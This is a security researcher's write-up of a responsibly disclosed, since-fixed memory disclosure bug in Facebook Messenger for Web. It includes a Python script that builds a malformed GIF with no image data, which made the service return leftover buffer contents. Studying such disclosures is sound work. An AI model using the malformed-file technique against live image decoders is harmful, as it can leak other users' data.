Intro

Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).

Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?

(spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)

Basic GIF image







Offset Length Contents 0 3 bytes "GIF" 3 3 bytes "87a" or "89a" 6 2 bytes <Logical Screen Width> 8 2 bytes <Logical Screen Height> 10 1 byte bit 0: Global Color Table Flag (GCTF) bit 1..3: Color Resolution bit 4: Sort Flag to Global Color Table bit 5..7: Size of Global Color Table: 2^(1+n) 11 1 byte <Background Color Index> 12 1 byte <Pixel Aspect Ratio> 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> ? bytes <Blocks> 1 bytes <Trailer> (0x3b) I found clear description of GIF image format, the main header should look like this:







I decided to create the basic GIF file with the minimal required fields.



Making own GIF (Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header I decided to create the basic GIF file with the minimal required fields.

To create own GIF I've taken python to help me generate binary file





1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import struct screenWidth = 640 screenHeight = 480 f = open ( 'test.gif' , 'wb' ) # Offset Length Contents # 0 3 bytes "GIF" # 3 3 bytes "87a" or "89a" f . write(b "GIF89a" ) # 6 2 bytes <Logical Screen Width> f . write(struct . pack( '<h' , screenWidth)) # 8 2 bytes <Logical Screen Height> f . write(struct . pack( '<h' , screenHeight)) # 10 1 byte bit 0: Global Color Table Flag (GCTF) # bit 1..3: Color Resolution # bit 4: Sort Flag to Global Color Table # bit 5..7: Size of Global Color Table: 2^(1+n) bits = int ( '00000010' , 2 ) f . write(struct . pack( '<b' , bits)) # 11 1 byte <Background Color Index> f . write(struct . pack( '<b' , 0 )) # 12 1 byte <Pixel Aspect Ratio> f . write(struct . pack( '<b' , 1 )) # 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> # ? bytes <Blocks> # Offset Length Contents # 0 1 byte Image Separator (0x2c) f . write(struct . pack( '<b' , 0x2c )) # 1 2 bytes Image Left Position f . write(struct . pack( '<h' , 0 )) # 3 2 bytes Image Top Position f . write(struct . pack( '<h' , 0 )) # 5 2 bytes Image Width f . write(struct . pack( '<h' , screenWidth)) # 7 2 bytes Image Height f . write(struct . pack( '<h' , screenHeight)) # 8 1 byte bit 0: Local Color Table Flag (LCTF) # bit 1: Interlace Flag # bit 2: Sort Flag # bit 2..3: Reserved # bit 4..7: Size of Local Color Table: 2^(1+n) # ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one f . write(struct . pack( '<b' , int ( '00000100' , 2 ))) # 1 byte LZW Minimum Code Size #f.write(struct.pack('<b', 1)) # [ // Blocks # 1 byte Block Size (s) #f.write(struct.pack('<b', 1)) # (s)bytes Image Data # ]* # 1 byte Block Terminator(0x00) #f.write(struct.pack('<b', 0)) # 1 bytes <Trailer> (0x3b) f . write(struct . pack( '<b' , 0x3b )) f . close()



This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.



Facebook Messenger

I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:

It was very small, increased size

Wait, but our GIF does't have any content, what image I have back from Facebook?

I had changed GIF size and saw this white noise image, hm, looks also weird:





No TV signal



Really strange. I've uploaded the same binary again and saw:





Embedded TV screen in Messenger

Image a bit changed. But I uploaded the same GIF in both cases.

After playing with GIF screen/image sizes:









Full screen picture

This reminds me situation when you tried to read image from file and used width instead of height.

Finally I caught this output:

Semi stable TV signal in Messenger caught

And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.





Timeline

26 FEB 2018: report sent to Facebook Team

01 MAR 2018: triaged

09 MAR 2018: fixed

21 MAR 2018: 10k$